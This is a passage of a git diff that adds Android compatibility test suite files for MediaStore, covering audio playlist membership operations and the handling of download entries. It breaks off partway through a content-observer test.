+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java
@@ -0,0 +1,486 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Audio.Media;
+import android.provider.MediaStore.Audio.Playlists;
+import android.provider.MediaStore.Audio.Playlists.Members;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio2;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio3;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio4;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio5;
+import android.provider.cts.media.MediaStoreAudioTestHelper.MockAudioMediaInfo;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_Playlists_MembersTest {
+    private String[] mAudioProjection = {
+            Members._ID,
+            Members.ALBUM,
+            Members.ALBUM_ID,
+            Members.ALBUM_KEY,
+            Members.ARTIST,
+            Members.ARTIST_ID,
+            Members.ARTIST_KEY,
+            Members.COMPOSER,
+            Members.DATA,
+            Members.DATE_ADDED,
+            Members.DATE_MODIFIED,
+            Members.DISPLAY_NAME,
+            Members.DURATION,
+            Members.IS_ALARM,
+            Members.IS_MUSIC,
+            Members.IS_NOTIFICATION,
+            Members.IS_RINGTONE,
+            Members.MIME_TYPE,
+            Members.SIZE,
+            Members.TITLE,
+            Members.TITLE_KEY,
+            Members.TRACK,
+            Members.YEAR,
+    };
+
+    private String[] mMembersProjection = {
+            Members._ID,
+            Members.AUDIO_ID,
+            Members.PLAYLIST_ID,
+            Members.PLAY_ORDER,
+            Members.ALBUM,
+            Members.ALBUM_ID,
+            Members.ALBUM_KEY,
+            Members.ARTIST,
+            Members.ARTIST_ID,
+            Members.ARTIST_KEY,
+            Members.COMPOSER,
+            Members.DATA,
+            Members.DATE_ADDED,
+            Members.DATE_MODIFIED,
+            Members.DISPLAY_NAME,
+            Members.DURATION,
+            Members.IS_ALARM,
+            Members.IS_MUSIC,
+            Members.IS_NOTIFICATION,
+            Members.IS_RINGTONE,
+            Members.MIME_TYPE,
+            Members.SIZE,
+            Members.TITLE,
+            Members.TITLE_KEY,
+            Members.TRACK,
+            Members.YEAR,
+    };
+
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    private long mIdOfAudio1;
+    private long mIdOfAudio2;
+    private long mIdOfAudio3;
+    private long mIdOfAudio4;
+    private long mIdOfAudio5;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    private long insertAudioItem(MockAudioMediaInfo which) {
+        Uri uri = which.insert(mContentResolver, mVolumeName);
+        Cursor c = mContentResolver.query(uri, null, null, null, null);
+        c.moveToFirst();
+        long id = c.getLong(c.getColumnIndex(Media._ID));
+        c.close();
+        return id;
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+
+        mIdOfAudio1 = insertAudioItem(Audio1.getInstance());
+        mIdOfAudio2 = insertAudioItem(Audio2.getInstance());
+        mIdOfAudio3 = insertAudioItem(Audio3.getInstance());
+        mIdOfAudio4 = insertAudioItem(Audio4.getInstance());
+        mIdOfAudio5 = insertAudioItem(Audio5.getInstance());
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        final Uri uri = Media.getContentUri(mVolumeName);
+        mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio1, null);
+        mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio2, null);
+        mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio3, null);
+        mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio4, null);
+        mContentResolver.delete(uri, Media._ID + "=" + mIdOfAudio5, null);
+    }
+
+    @Test
+    public void testGetContentUri() {
+        assertEquals("content://media/external/audio/playlists/1337/members",
+                Members.getContentUri("external", 1337).toString());
+        assertEquals("content://media/internal/audio/playlists/3007/members",
+                Members.getContentUri("internal", 3007).toString());
+    }
+
+    private Uri insertPlaylistItem(Uri playlistMembersUri, long itemid, int order) {
+        ContentValues values = new ContentValues();
+        values.put(Members.AUDIO_ID, itemid);
+        values.put(Members.PLAY_ORDER, order);
+        return mContentResolver.insert(playlistMembersUri, values);
+    }
+
+    /**
+     * check that the specified playlist contains the given members in the given order
+     */
+    private void verifyPlaylist(Uri playlistMembersUri, long [] members, int [] ordering) {
+        Cursor c = mContentResolver.query(playlistMembersUri,
+                new String[] { Members.AUDIO_ID, Members.PLAY_ORDER },
+                null, null, // selection, selection args
+                Members.PLAY_ORDER);
+        assertFalse("neither members nor ordering specified",
+                members == null && ordering == null);
+        if (members != null) {
+            assertEquals("members length doesn't match cursor length",
+                    members.length, c.getCount());
+            if (ordering != null) {
+                assertEquals("members and ordering must have same length",
+                        members.length, ordering.length);
+            }
+        }
+        if (ordering != null) {
+            assertEquals("ordering length doesn't match cursor length",
+                    ordering.length, c.getCount());
+        }
+        while (c.moveToNext()) {
+            int pos = c.getPosition();
+            if (members != null) {
+                assertEquals("mismatched member at position " + pos,
+                        members[pos], c.getInt(c.getColumnIndex(Members.AUDIO_ID)));
+            }
+            if (ordering != null) {
+                assertEquals("mismatched ordering at position " + pos,
+                        ordering[pos], c.getInt(c.getColumnIndex(Members.PLAY_ORDER)));
+            }
+        }
+        c.close();
+    }
+
+    @Test
+    public void testStoreAudioPlaylistsMembersExternal() {
+        // TODO: expand test to verify paths from secondary storage devices
+        if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+
+        ContentValues values = new ContentValues();
+        values.put(Playlists.NAME, "My favourites");
+        values.put(Playlists.DATA, "");
+        long dateAdded = System.currentTimeMillis();
+        values.put(Playlists.DATE_ADDED, dateAdded);
+        long dateModified = System.currentTimeMillis();
+        values.put(Playlists.DATE_MODIFIED, dateModified);
+        // insert
+        Uri uri = mContentResolver.insert(Playlists.getContentUri(mVolumeName), values);
+        assertNotNull(uri);
+        Cursor c = mContentResolver.query(uri, null, null, null, null);
+        c.moveToFirst();
+        long playlistId = c.getLong(c.getColumnIndex(Playlists._ID));
+        long playlist2Id = -1; // used later
+
+        // verify that the Uri has the correct format and playlist value
+        assertEquals(ContentUris.withAppendedId(Playlists.getContentUri(mVolumeName), playlistId),
+                uri);
+
+        // insert audio as the member of the playlist
+        Uri membersUri = Members.getContentUri(mVolumeName, playlistId);
+        Uri audioUri = insertPlaylistItem(membersUri, mIdOfAudio1, 1);
+
+        assertNotNull(audioUri);
+        assertTrue(audioUri.toString().startsWith(membersUri.toString()));
+
+        try {
+            // query the audio info
+            c = mContentResolver.query(audioUri, mAudioProjection, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            long memberId = c.getLong(c.getColumnIndex(Members._ID));
+            assertEquals(memberId, Long.parseLong(audioUri.getPathSegments().get(5)));
+            final String expected1 = Audio1.getInstance().getContentValues(mVolumeName)
+                    .getAsString(Members.DATA);
+            assertEquals(expected1, c.getString(c.getColumnIndex(Members.DATA)));
+            assertTrue(c.getLong(c.getColumnIndex(Members.DATE_ADDED)) > 0);
+            assertEquals(Audio1.DATE_MODIFIED, c.getLong(c.getColumnIndex(Members.DATE_MODIFIED)));
+            assertEquals(Audio1.DISPLAY_NAME, c.getString(c.getColumnIndex(Members.DISPLAY_NAME)));
+            assertEquals(Audio1.MIME_TYPE, c.getString(c.getColumnIndex(Members.MIME_TYPE)));
+            assertEquals(Audio1.SIZE, c.getInt(c.getColumnIndex(Members.SIZE)));
+            assertEquals(Audio1.TITLE, c.getString(c.getColumnIndex(Members.TITLE)));
+            assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Members.ALBUM)));
+            assertNotNull(c.getString(c.getColumnIndex(Members.ALBUM_KEY)));
+            assertTrue(c.getLong(c.getColumnIndex(Members.ALBUM_ID)) > 0);
+            assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Members.ARTIST)));
+            assertNotNull(c.getString(c.getColumnIndex(Members.ARTIST_KEY)));
+            assertTrue(c.getLong(c.getColumnIndex(Members.ARTIST_ID)) > 0);
+            assertEquals(Audio1.COMPOSER, c.getString(c.getColumnIndex(Members.COMPOSER)));
+            assertEquals(Audio1.DURATION, c.getLong(c.getColumnIndex(Members.DURATION)));
+            assertEquals(Audio1.IS_ALARM, c.getInt(c.getColumnIndex(Members.IS_ALARM)));
+            assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Members.IS_MUSIC)));
+            assertEquals(Audio1.IS_NOTIFICATION,
+                    c.getInt(c.getColumnIndex(Members.IS_NOTIFICATION)));
+            assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Members.IS_RINGTONE)));
+            assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Members.TRACK)));
+            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Members.YEAR)));
+            assertNotNull(c.getString(c.getColumnIndex(Members.TITLE_KEY)));
+            c.close();
+
+            // query the play order of the audio
+            verifyPlaylist(membersUri, new long [] {mIdOfAudio1}, new int [] {1});
+
+            // update the member
+            values.clear();
+            values.put(Members.PLAY_ORDER, 2);
+            values.put(Members.AUDIO_ID, mIdOfAudio2);
+            int result = mContentResolver.update(membersUri, values, Members.AUDIO_ID + "="
+                    + mIdOfAudio1, null);
+            assertEquals(1, result);
+
+            // query all info
+            c = mContentResolver.query(membersUri, mMembersProjection, null, null,
+                    Members.DEFAULT_SORT_ORDER);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            assertEquals(2, c.getInt(c.getColumnIndex(Members.PLAY_ORDER)));
+            assertEquals(memberId, c.getLong(c.getColumnIndex(Members._ID)));
+            final String expected2 = Audio2.getInstance().getContentValues(mVolumeName)
+                    .getAsString(Members.DATA);
+            assertEquals(expected2, c.getString(c.getColumnIndex(Members.DATA)));
+            assertTrue(c.getLong(c.getColumnIndex(Members.DATE_ADDED)) > 0);
+            assertEquals(Audio2.DATE_MODIFIED, c.getLong(c.getColumnIndex(Members.DATE_MODIFIED)));
+            assertEquals(Audio2.DISPLAY_NAME, c.getString(c.getColumnIndex(Members.DISPLAY_NAME)));
+            assertEquals(Audio2.MIME_TYPE, c.getString(c.getColumnIndex(Members.MIME_TYPE)));
+            assertEquals(Audio2.SIZE, c.getInt(c.getColumnIndex(Members.SIZE)));
+            assertEquals(Audio2.TITLE, c.getString(c.getColumnIndex(Members.TITLE)));
+            assertEquals(Audio2.ALBUM, c.getString(c.getColumnIndex(Members.ALBUM)));
+            assertNotNull(c.getString(c.getColumnIndex(Members.ALBUM_KEY)));
+            assertTrue(c.getLong(c.getColumnIndex(Members.ALBUM_ID)) > 0);
+            assertEquals(Audio2.ARTIST, c.getString(c.getColumnIndex(Members.ARTIST)));
+            assertNotNull(c.getString(c.getColumnIndex(Members.ARTIST_KEY)));
+            assertTrue(c.getLong(c.getColumnIndex(Members.ARTIST_ID)) > 0);
+            assertEquals(Audio2.COMPOSER, c.getString(c.getColumnIndex(Members.COMPOSER)));
+            assertEquals(Audio2.DURATION, c.getLong(c.getColumnIndex(Members.DURATION)));
+            assertEquals(Audio2.IS_ALARM, c.getInt(c.getColumnIndex(Members.IS_ALARM)));
+            assertEquals(Audio2.IS_MUSIC, c.getInt(c.getColumnIndex(Members.IS_MUSIC)));
+            assertEquals(Audio2.IS_NOTIFICATION,
+                    c.getInt(c.getColumnIndex(Members.IS_NOTIFICATION)));
+            assertEquals(Audio2.IS_RINGTONE, c.getInt(c.getColumnIndex(Members.IS_RINGTONE)));
+            assertEquals(Audio2.TRACK, c.getInt(c.getColumnIndex(Members.TRACK)));
+            assertEquals(Audio2.YEAR, c.getInt(c.getColumnIndex(Members.YEAR)));
+            assertNotNull(c.getString(c.getColumnIndex(Members.TITLE_KEY)));
+            c.close();
+
+            // update the member back to its original state
+            values.clear();
+            values.put(Members.PLAY_ORDER, 1);
+            values.put(Members.AUDIO_ID, mIdOfAudio1);
+            result = mContentResolver.update(membersUri, values, Members.AUDIO_ID + "="
+                    + mIdOfAudio2, null);
+            assertEquals(1, result);
+
+            // insert another member into the playlist
+            Uri audioUri2 = insertPlaylistItem(membersUri, mIdOfAudio2, 2);
+            // the playlist should now have id1 at position 1 and id2 at position2, check that
+            verifyPlaylist(membersUri, new long [] {mIdOfAudio1, mIdOfAudio2}, new int [] {1,2});
+
+            // swap the items around
+            assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 1, 0));
+
+            // check the new positions
+            verifyPlaylist(membersUri, new long [] {mIdOfAudio2, mIdOfAudio1}, new int [] {1,2});
+
+            // swap the items around in the other direction
+            assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 0, 1));
+
+            // check the positions again
+            verifyPlaylist(membersUri, new long [] {mIdOfAudio1, mIdOfAudio2}, new int [] {1,2});
+
+            // insert a third item into the playlist
+            Uri audioUri3 = insertPlaylistItem(membersUri, mIdOfAudio3, 3);
+            // the playlist should now have id1 at position 1, id2 at position2, and
+            // id3 at position3, check that
+            verifyPlaylist(membersUri,
+                    new long [] {mIdOfAudio1, mIdOfAudio2, mIdOfAudio3}, new int [] {1,2,3});
+
+            // delete the middle item
+            mContentResolver.delete(Media.getContentUri(mVolumeName),
+                    Media._ID + "=" + mIdOfAudio2, null);
+
+            // check the remaining items are still in the right order, and the play_order of the
+            // last item has been adjusted
+            verifyPlaylist(membersUri, new long [] {mIdOfAudio1, mIdOfAudio3}, new int [] {1,2});
+
+            // try to swap the remaining two items
+            assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 1, 0));
+
+            // check that they're swapped
+            verifyPlaylist(membersUri, new long [] {mIdOfAudio3, mIdOfAudio1}, new int [] {1,2});
+
+            // add 3 items, do some more moving and checking
+            mIdOfAudio2 = insertAudioItem(Audio2.getInstance());
+            insertPlaylistItem(membersUri, mIdOfAudio2, 3);
+            insertPlaylistItem(membersUri, mIdOfAudio4, 4);
+            insertPlaylistItem(membersUri, mIdOfAudio5, 5);
+            verifyPlaylist(membersUri,
+                    new long [] {mIdOfAudio3, mIdOfAudio1, mIdOfAudio2, mIdOfAudio4, mIdOfAudio5},
+                    new int[] {1, 2, 3, 4, 5});
+            assertTrue(MediaStore.Audio.Playlists.Members.moveItem(mContentResolver, playlistId, 1, 3));
+            verifyPlaylist(membersUri,
+                    new long [] {mIdOfAudio3, mIdOfAudio2, mIdOfAudio4, mIdOfAudio1, mIdOfAudio5},
+                    new int[] {1, 2, 3, 4, 5});
+            c = mContentResolver.query(membersUri, null, null, null, null);
+            c.close();
+
+            // create another playlist
+            values.clear();
+            values.put(Playlists.NAME, "My favourites 2");
+            values.put(Playlists.DATA, "");
+            values.put(Playlists.DATE_ADDED, dateAdded);
+            values.put(Playlists.DATE_MODIFIED, dateModified);
+            // insert
+            uri = mContentResolver.insert(Playlists.getContentUri(mVolumeName), values);
+            assertNotNull(uri);
+            c = mContentResolver.query(uri, null, null, null, null);
+            c.moveToFirst();
+            playlist2Id = c.getLong(c.getColumnIndex(Playlists._ID));
+            c.close();
+
+            // insert audio into 2nd playlist
+            Uri members2Uri = Members.getContentUri(mVolumeName, playlist2Id);
+            Uri audio2Uri = insertPlaylistItem(members2Uri, mIdOfAudio1, 1);
+
+            c = mContentResolver.query(membersUri, null, null, null, null);
+            int allcolscount = c.getCount();
+            c.close();
+            c = mContentResolver.query(membersUri,
+                    new String[] { Members.AUDIO_ID, Members.PLAY_ORDER }, null, null, null);
+            int somecolscount = c.getCount();
+            c.close();
+            assertEquals("Different count depending on columns", allcolscount, somecolscount);
+
+            // check that the audio exists in both playlist
+            c = mContentResolver.query(membersUri, null, null, null, null);
+            assertEquals(5, c.getCount());
+            int cnt = 0;
+            int colidx = c.getColumnIndex(Members.AUDIO_ID);
+            assertTrue(colidx >= 0);
+            while(c.moveToNext()) {
+                if (c.getLong(colidx) == mIdOfAudio1) {
+                    cnt++;
+                }
+            }
+            assertEquals(1, cnt);
+            c.close();
+            c = mContentResolver.query(members2Uri, null, null, null, null);
+            assertEquals(1, c.getCount());
+            cnt = 0;
+            while(c.moveToNext()) {
+                if (c.getLong(colidx) == mIdOfAudio1) {
+                    cnt++;
+                }
+            }
+            assertEquals(1, cnt);
+            c.close();
+
+            // delete the members
+            result = mContentResolver.delete(membersUri, null, null);
+            assertEquals(5, result);
+            result = mContentResolver.delete(members2Uri, null, null);
+            assertEquals(1, result);
+
+            // insert again, then verify that deleting the audio entry cleans up its playlist member
+            // entry as well
+            membersUri = Members.getContentUri(mVolumeName, playlistId);
+            audioUri = insertPlaylistItem(membersUri, mIdOfAudio1, 1);
+            assertNotNull(audioUri);
+            // Query members of the playlist
+            c = mContentResolver.query(membersUri,
+                    new String[] { Members.AUDIO_ID, Members.PLAYLIST_ID}, null, null, null);
+            colidx = c.getColumnIndex(Members.AUDIO_ID);
+            cnt = 0;
+            // The song should appear only once, for the playlist we used when inserting it
+            while(c.moveToNext()) {
+                if (c.getLong(colidx) == mIdOfAudio1) {
+                    cnt++;
+                    assertEquals(playlistId, c.getLong(c.getColumnIndex(Members.PLAYLIST_ID)));
+                }
+            }
+            assertEquals(1, cnt);
+            c.close();
+            mContentResolver.delete(Media.getContentUri(mVolumeName),
+                    Media._ID + "=" + mIdOfAudio1, null);
+            // Query members of the playlist
+            c = mContentResolver.query(membersUri,
+                    new String[] { Members.AUDIO_ID, Members.PLAYLIST_ID}, null, null, null);
+            colidx = c.getColumnIndex(Members.AUDIO_ID);
+            cnt = 0;
+            // The song should no longer appear in the playlist
+            while(c.moveToNext()) {
+                if (c.getLong(colidx) == mIdOfAudio1) {
+                    cnt++;
+                }
+            }
+            assertEquals(0, cnt);
+            c.close();
+
+        } finally {
+            // delete the playlists
+            mContentResolver.delete(Playlists.getContentUri(mVolumeName),
+                    Playlists._ID + "=" + playlistId, null);
+            if (playlist2Id >= 0) {
+                mContentResolver.delete(Playlists.getContentUri(mVolumeName),
+                        Playlists._ID + "=" + playlist2Id, null);
+            }
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java
new file mode 100644
index 0000000..0b6af08
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java
@@ -0,0 +1,374 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.ProviderTestUtils.hash;
+import static android.provider.cts.ProviderTestUtils.resolveVolumeName;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Downloads;
+import android.provider.MediaStore.Files;
+import android.provider.MediaStore.Images;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreUtils.PendingParams;
+import android.provider.cts.media.MediaStoreUtils.PendingSession;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.PrintWriter;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(Parameterized.class)
+public class MediaStore_DownloadsTest {
+    private static final String TAG = MediaStore_DownloadsTest.class.getSimpleName();
+    private static final long NOTIFY_TIMEOUT_MILLIS = 4000;
+
+    private Context mContext;
+    private ContentResolver mContentResolver;
+    private File mDownloadsDir;
+    private File mPicturesDir;
+    private CountDownLatch mCountDownLatch;
+    private int mInitialDownloadsCount;
+
+    private Uri mExternalImages;
+    private Uri mExternalDownloads;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+        mExternalDownloads = MediaStore.Downloads.getContentUri(mVolumeName);
+
+        mDownloadsDir = new File(MediaStore.getVolumePath(resolveVolumeName(mVolumeName)),
+                Environment.DIRECTORY_DOWNLOADS);
+        mPicturesDir = new File(MediaStore.getVolumePath(resolveVolumeName(mVolumeName)),
+                Environment.DIRECTORY_PICTURES);
+        mDownloadsDir.mkdirs();
+        mPicturesDir.mkdirs();
+        mInitialDownloadsCount = getInitialDownloadsCount();
+    }
+
+    @Test
+    public void testScannedDownload() throws Exception {
+        Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)
+                || MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
+
+        final File downloadFile = new File(mDownloadsDir, "colors.txt");
+        downloadFile.createNewFile();
+        final String fileContents = "RED;GREEN;BLUE";
+        try (final PrintWriter pw = new PrintWriter(downloadFile)) {
+            pw.print(fileContents);
+        }
+        verifyScannedDownload(downloadFile);
+    }
+
+    @Test
+    public void testScannedMediaDownload() throws Exception {
+        Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)
+                || MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
+
+        final File downloadFile = new File(mDownloadsDir, "scenery.png");
+        downloadFile.createNewFile();
+        try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
+                OutputStream out = new FileOutputStream(downloadFile)) {
+            FileUtils.copy(in, out);
+        }
+        verifyScannedDownload(downloadFile);
+    }
+
+    @Test
+    public void testGetContentUri() throws Exception {
+        Cursor c;
+        assertNotNull(c = mContentResolver.query(mExternalDownloads,
+                null, null, null, null));
+        c.close();
+
+        assertEquals(ContentUris.withAppendedId(Downloads.getContentUri(mVolumeName), 42),
+                Downloads.getContentUri(mVolumeName, 42));
+    }
+
+    @Test
+    public void testMediaInDownloadsDir() throws Exception {
+        Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)
+                || MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
+
+        final String displayName = "cts" + System.nanoTime();
+        final Uri insertUri = insertImage(displayName, "test image",
+                new File(mDownloadsDir, displayName + ".jpg"), "image/jpeg", R.raw.scenery);
+        final String displayName2 = "cts" + System.nanoTime();
+        final Uri insertUri2 = insertImage(displayName2, "test image2",
+                new File(mPicturesDir, displayName2 + ".jpg"), "image/jpeg", R.raw.volantis);
+
+        try (Cursor cursor = mContentResolver.query(mExternalDownloads,
+                null, "title LIKE ?1", new String[] { displayName }, null)) {
+            assertEquals(1, cursor.getCount());
+            cursor.moveToNext();
+            assertEquals("image/jpeg",
+                    cursor.getString(cursor.getColumnIndex(Images.Media.MIME_TYPE)));
+        }
+
+        assertEquals(1, mContentResolver.delete(insertUri, null, null));
+        try (Cursor cursor = mContentResolver.query(mExternalDownloads,
+                null, null, null, null)) {
+            assertEquals(mInitialDownloadsCount, cursor.getCount());
+        }
+    }
+
+    @Test
+    public void testInsertDownload() throws Exception {
+        final String content = "<html><body>Content</body></html>";
+        final String displayName = "cts" + System.nanoTime();
+        final String mimeType = "text/html";
+        final Uri downloadUri = Uri.parse("https://developer.android.com/overview.html");
+        final Uri refererUri = Uri.parse("https://www.android.com");
+
+        final PendingParams params = new PendingParams(
+                mExternalDownloads, displayName, mimeType);
+        params.setDownloadUri(downloadUri);
+        params.setRefererUri(refererUri);
+
+        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+        assertNotNull(pendingUri);
+        final Uri publishUri;
+        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+            try (PrintWriter pw = new PrintWriter(session.openOutputStream())) {
+                pw.print(content);
+            }
+            try (OutputStream out = session.openOutputStream()) {
+                out.write(content.getBytes(StandardCharsets.UTF_8));
+            }
+            publishUri = session.publish();
+        }
+
+        try (Cursor cursor = mContentResolver.query(publishUri, null, null, null, null)) {
+            assertEquals(1, cursor.getCount());
+
+            cursor.moveToNext();
+            assertEquals(mimeType,
+                    cursor.getString(cursor.getColumnIndex(Downloads.MIME_TYPE)));
+            assertEquals(displayName + ".html",
+                    cursor.getString(cursor.getColumnIndex(Downloads.DISPLAY_NAME)));
+            assertEquals(downloadUri.toString(),
+                    cursor.getString(cursor.getColumnIndex(Downloads.DOWNLOAD_URI)));
+            assertEquals(refererUri.toString(),
+                    cursor.getString(cursor.getColumnIndex(Downloads.REFERER_URI)));
+        }
+
+        final ByteArrayOutputStream actual = new ByteArrayOutputStream();
+        try (InputStream in = mContentResolver.openInputStream(publishUri)) {
+            final byte[] buf = new byte[512];
+            int bytesRead;
+            while ((bytesRead = in.read(buf)) != -1) {
+                actual.write(buf, 0, bytesRead);
+            }
+        }
+        assertEquals(content, actual.toString(StandardCharsets.UTF_8.name()));
+    }
+
+    @Test
+    public void testUpdateDownload() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(
+                mExternalDownloads, displayName, "video/3gpp");
+        final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
+        params.setDownloadUri(downloadUri);
+
+        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+        assertNotNull(pendingUri);
+        final Uri publishUri;
+        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
+                 OutputStream out = session.openOutputStream()) {
+                android.os.FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        }
+
+        final ContentValues updateValues = new ContentValues();
+        updateValues.put(MediaStore.Files.FileColumns.MEDIA_TYPE,
+                MediaStore.Files.FileColumns.MEDIA_TYPE_AUDIO);
+        updateValues.put(Downloads.MIME_TYPE, "audio/3gpp");
+        assertEquals(1, mContentResolver.update(publishUri, updateValues, null, null));
+
+        try (Cursor cursor = mContentResolver.query(publishUri,
+                null, null, null, null)) {
+            assertEquals(1, cursor.getCount());
+            cursor.moveToNext();
+            assertEquals("audio/3gpp",
+                    cursor.getString(cursor.getColumnIndex(Downloads.MIME_TYPE)));
+            assertEquals(downloadUri.toString(),
+                    cursor.getString(cursor.getColumnIndex(Downloads.DOWNLOAD_URI)));
+        }
+    }
+
+    @Test
+    public void testDeleteDownload() throws Exception {
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(
+                mExternalDownloads, displayName, "video/3gp");
+        final Uri downloadUri = Uri.parse("https://www.android.com/download?file=testvideo.3gp");
+        params.setDownloadUri(downloadUri);
+
+        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
+        assertNotNull(pendingUri);
+        final Uri publishUri;
+        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
+            try (InputStream in = mContext.getResources().openRawResource(R.raw.testvideo);
+                 OutputStream out = session.openOutputStream()) {
+                android.os.FileUtils.copy(in, out);
+            }
+            publishUri = session.publish();
+        }
+
+        assertEquals(1, mContentResolver.delete(publishUri, null, null));
+        try (Cursor cursor = mContentResolver.query(mExternalDownloads,
+                null, null, null, null)) {
+            assertEquals(mInitialDownloadsCount, cursor.getCount());
+        }
+    }
+
+    @Test
+    public void testNotifyChange() throws Exception {
+        final ContentObserver observer = new ContentObserver(null) {
+            @Override
